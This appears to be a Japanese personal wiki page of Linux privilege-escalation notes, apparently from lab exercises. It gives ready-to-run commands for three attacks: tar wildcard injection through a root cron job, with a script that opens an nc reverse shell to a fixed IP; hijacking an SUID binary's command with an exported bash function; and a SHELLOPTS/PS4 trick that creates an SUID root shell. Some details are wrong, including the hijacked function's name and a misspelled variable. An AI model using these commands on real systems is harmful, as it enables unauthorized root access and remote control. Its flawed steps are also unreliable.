linPriv - yokohama/oreshic-record GitHub Wiki

権限昇格テクニック覚書

cronでtarを実行してバックアップとかしている場合

例:

* * * * * tar cf /tmp/backup.tar /home/user/*

上記のコマンドを以下のように誤動作させる

tar cf --checkpoint=1 --checkpoint-action=exec=poc.sh

やり方:

cd /home/user #もちろんここに権限がないとダメ
touch ./--checkpoint=1
touch ./--checkpoint-action=exec=poc.sh
cat << 'EOF' > ./poc.sh
#!/bin/bash
mkfifo /tmp/p
nc 192.168.128.175 4444 < /tmp/p | /bin/bash -i > /tmp/p 2>&1
EOF

なぜ?:

tar の対象が、* になっているためこれらのファイルも対象となり、ファイル名ではなくオプションだと認識されるため。

bash version < 4.2-048 のバグをつく

4.2-048以前のbashには、コマンドと同じ名前で関数を作成すると、コマンドではなく関数が実行されるバグがある。

user@debian:~$ bash --version
GNU bash, version 4.1.5(1)-release (x86_64-pc-linux-gnu)
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

例: 以下のような謎の+sのコマンドがあるとする

ls -l /usr/local/bin/suid-env2
-rwsr-sr-x 1 root staff 6899 May 14  2017 /usr/local/bin/suid-env2

何をしているか確認 最後の行で、/usr/sbin/service をroot権限(このコマンドが +s なので)で実行している。

user@debian:~$ strings /usr/local/bin/suid-env2

/lib64/ld-linux-x86-64.so.2
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
/usr/sbin/service apache2 start

偽関数を作成

function /usr/sbin/apache2 { /bin/bash -p; }
export -f /usr/sbin/apache2

コマンドを実行すると偽関数がコールされ権限昇格

/usr/local/bin/suid-env2
#

bash version < 4.4 のバグをつく

bash4.4以前のSUID実行時の環境変数の処理の不備を狙う権限昇格

例: 以下のような謎の+sのコマンドがあるとする

ls -l /usr/local/bin/suid-env2
-rwsr-sr-x 1 root staff 6899 May 14  2017 /usr/local/bin/suid-env2

以下のコマンドを実行

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2
/tmp/rootbash
#
  • env -i で現在の環境変数(親からの継承含む)を全てリセット
  • SHELLOPTR=xtrace で、bash起動時に、set -x (trace)を強制的に有効
  • PS4=$() で、xtraceにより各コマンド実行直前に任意のコマンドが評価・実行
  • つまり、SUID 実行されるbashが起動直後からxtraceを有効にした状態でPS4を評価し、root権限で $() 内のコマンドが実行される。

Tag

priv

⚠️ **GitHub.com Fallback** ⚠️